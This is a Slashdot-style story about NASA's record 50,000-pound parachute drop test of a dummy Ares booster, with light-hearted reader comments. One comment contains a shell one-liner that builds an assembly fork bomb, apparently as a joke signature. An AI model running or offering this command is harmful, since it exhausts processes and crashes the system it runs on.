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NASA Tests Heaviest Chute Drop Ever
Iddo Genuth writes "NASA and the US Air Force have successfully tested a new super-chute system aimed at reclaiming reusable Ares booster rockets. On February 28, 2009 a 50,000-pound dummy rocket booster was dropped in the Arizona desert and slowed by a system of five parachutes before it crashed to the ground. The booster landed softly without any damage. This was possibly the heaviest parachute drop ever, and NASA is planning to perform even heavier drops of up to 90,000 pounds in the next few months."
Afraid not. Parachutes work by increasing air drag. An incoming asteroid would be moving at something like 30 miles per second. The parachute would only have at most a couple of seconds to work. Having said that, if you had a boundary case of an asteroid that would lose a considerable portion of its energy to the atmosphere, but still have enough to cause significant property damage, then you could attach an inflatable balloon (I believe they call it a "ballute") to the front to increase the cross-sectional area of the asteroid, so it would lose more energy to the upper atmosphere. Those asteroids are probably too infrequent to bother planning for.
When will America start using SI units as the standard? Pounds don't mean anything to me.
Cool? Try hot. As in dropping it like it's hot.
Those asteroids are probably too infrequent to bother planning for.
That's it. You've just chosen our doom.
Qxe4
Maybe someday I'll be able to take up skydiving after all!
But then we wouldn't have known how to build a reusable shuttle, which I'm sure left some residual science in other fields as well.
Some things are worth doing just for the sake of it.
Seriously, this is a useless measurement, it's way over things I know about. I need it in something practical, like how many libraries of congress is it?
This is my footer. There are many like it, but this one is mine.
Well over 350,000 pounds Boeing 767 so don't get any ideas.
Planes would probably break up as well. Great that you attached to the mid section but you'll probably loose either the front 3rd or the rear as the thin cabin torsions apart.
If you could guarantee the front third would survive it would help sell business class tickets in these troubled times.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
WTF? If it "landed softly" it didn't "crash".
More importantly, how can the submitted article say the rocket "crashed" yet then immediately afterward say it landed softly. Are those two terms not mutually exclusive?
I suppose one could have a soft "crash landing" in an airplane, with the definition of a "crash landing" being: An unscheduled landing due to mechanical problems. But in this case, the parachute system apparently worked flawless ly, exactly as it was designed. So even the loosest definition of "crash" would not fit.
Can someone please fix the article?
Perhaps to this:
Thanks.
Official Heretic from the "Church of Global Warming". Proven right thanks to whistle blowers. AGW = Flat Earth Theory
I want to see flyback boosters! There was a design they had for the shuttle boosters that would replace them with liquid-fueled models and they would also come equipped with jet engines. Launches as a liquid-fueled rocket, separates from the shuttle stack, deploys swing wings (which were flush with the airframe at launch) and fire up the conventional jets to make a powered return flight, landing at the Cape pretty as you please.
I think they scrapped this plan because it would be too much development for a program near the end of its life but you'd think it would be viable for the boost stages of newer vehicles. The first stage has got to be the heaviest, most expensive part of the stack. The refurb cost on the shuttle makes you think it might just be cheaper to throw it away but maybe we could actually save some money with better engineering on something like this?
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne